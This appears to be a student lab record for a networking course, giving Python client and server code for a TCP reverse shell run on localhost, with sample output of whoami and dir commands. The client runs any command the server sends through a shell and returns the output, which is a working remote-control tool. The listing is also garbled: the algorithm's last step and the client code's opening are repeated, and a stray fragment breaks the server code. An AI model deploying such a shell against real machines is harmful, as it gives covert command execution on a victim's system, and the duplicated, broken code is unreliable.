EXPT: 9 DEVELOP A PROGGRAM TO CREATE REVERSE SHELL USING TCP SOCKETS

Introduction:

A server and client that communicate over TCP: the server sends text commands; the client runs them and returns the output plus its current working directory.

Aim:

Demonstrate basic TCP communication and remote command execution between two Python programs.

Algorithm:

1. Server: listen on a port, accept a client, read commands from the user, send commands to client, print responses.
2. Client: connect to server, receive commands, if cd then change directory, otherwise run the command, send back output and current directory.
3. On quit close the connection.

Code:

Client:

```
import socket
import subprocess
import os
host = '127.0.0.1'
port = 9999
def connect_to_server():
    client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    client.connect((host, port))
    while True:
        try:
            command = client.recv(1024).decode()
            if command.lower() == 'quit':
```

3. On quit close the connection.

Code:

Client:

```
import socket
import subprocess
import os
host = '127.0.0.1'
port = 9999
def connect_to_server():
    client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    client.connect((host, port))
    while True:
        try:
            command = client.recv(1024).decode()
            if command.lower() == 'quit':
                break
            elif command.startswith('cd '):
                try:
                    os.chdir(command[3:].strip())
                    output = f"Changed directory to {os.getcwd()}"
                except Exception as e:
                    output = str(e)
            else:
                process = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE,
stderr=subprocess.PIPE, stdin=subprocess.PIPE)
                output = process.stdout.read() + process.stderr.read()
                output = output.decode()
            current_dir = os.getcwd() + "> "
```

```
            client.send((output + "\n" + current_dir).encode())
        except Exception as e:
            client.send(str(e).encode())
            break
    client.close()
if __name__ == "__main__":
    connect_to_server()
```

Server:

```
import socket
import threading
host = '127.0.0.1'
port = 9999
def create_server_socket():
    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server.bind((host, port))
    server.listen(5)
    print(f"[+] Listening on {host}:{port}")
    return server
def handle_client(conn, addr):
    print(f"[+] Connection established with {addr[0]}:{addr[1]}")
    while True:
        try:
            command = input(f"{addr[0]}@shell> ")
            if command.lower() == 'quit':
                conn.send(command.encode())
                conn.close()
                break
```

```
            conn.close()
            break
```

```
            if command.strip():
                conn.send(command.encode())
                response = conn.recv(4096).decode()
                print(response)
        except Exception as e:
            print(f"[!] Error: {e}")
            conn.close()
            break
def start_server():
    server = create_server_socket()
    while True:
        conn, addr = server.accept()
        client_thread = threading.Thread(target=handle_client, args=(conn, addr))
        client_thread.start()
if __name__ == "__main__":
    start_server()
```

Output:

Server:

```
C:\Users\a8282>cd "C:\Users\a8282\OneDrive\Documents

C:\Users\a8282\OneDrive\Documents>python revserver.py
[+] Listening on 127.0.0.1:9999
[+] Connection established with 127.0.0.1:54985
127.0.0.1@shell> whoami
admin\a8282
```

```
C:\Users\a8282\OneDrive\Documents>
127.0.0.1@shell> echo hello
hello

C:\Users\a8282\OneDrive\Documents>
127.0.0.1@shell> dir
 Volume in drive C has no label.
 Volume Serial Number is 9C02-4D11

 Directory of C:\Users\a8282\OneDrive\Documents

11-10-2025  16:18    <DIR>          .
11-10-2025  14:02    <DIR>          ..
11-10-2025  13:46               549 anonymous.py
11-10-2025  14:37               477 calcclient.py
11-10-2025  14:47               476 calcserver.py
07-10-2025  08:35               263 client.py
09-09-2025  07:45           669,472 cn model qn paper(cse).pdf
06-09-2025  07:58            77,825 cn model qn paper.pdf
11-10-2025  16:18           767,346 cn record.docx
05-09-2025  16:14         9,946,788 CN Typed Notes.pdf
07-10-2025  09:58    <DIR>          Custom Office Templates
06-09-2025  08:01        18,006,469 DBMS  unit-1 notes.pdf
11-09-2025  19:19         1,079,692 DBMS cat-1 model qn paper.pdf
06-09-2025  07:58           325,524 dbms model qn paper.pdf
```

Client:

```
C:\Users\a8282>cd "C:\Users\a8282\OneDrive\Documents

C:\Users\a8282\OneDrive\Documents>python revclient.py
```

Result:

Server shows a " connection established" message when client connects. Commands typed at the server prompt run on the client and their output appears on the server.cd changes the client' s directory and the new path is returned. Quit ends the session; errors close the connection.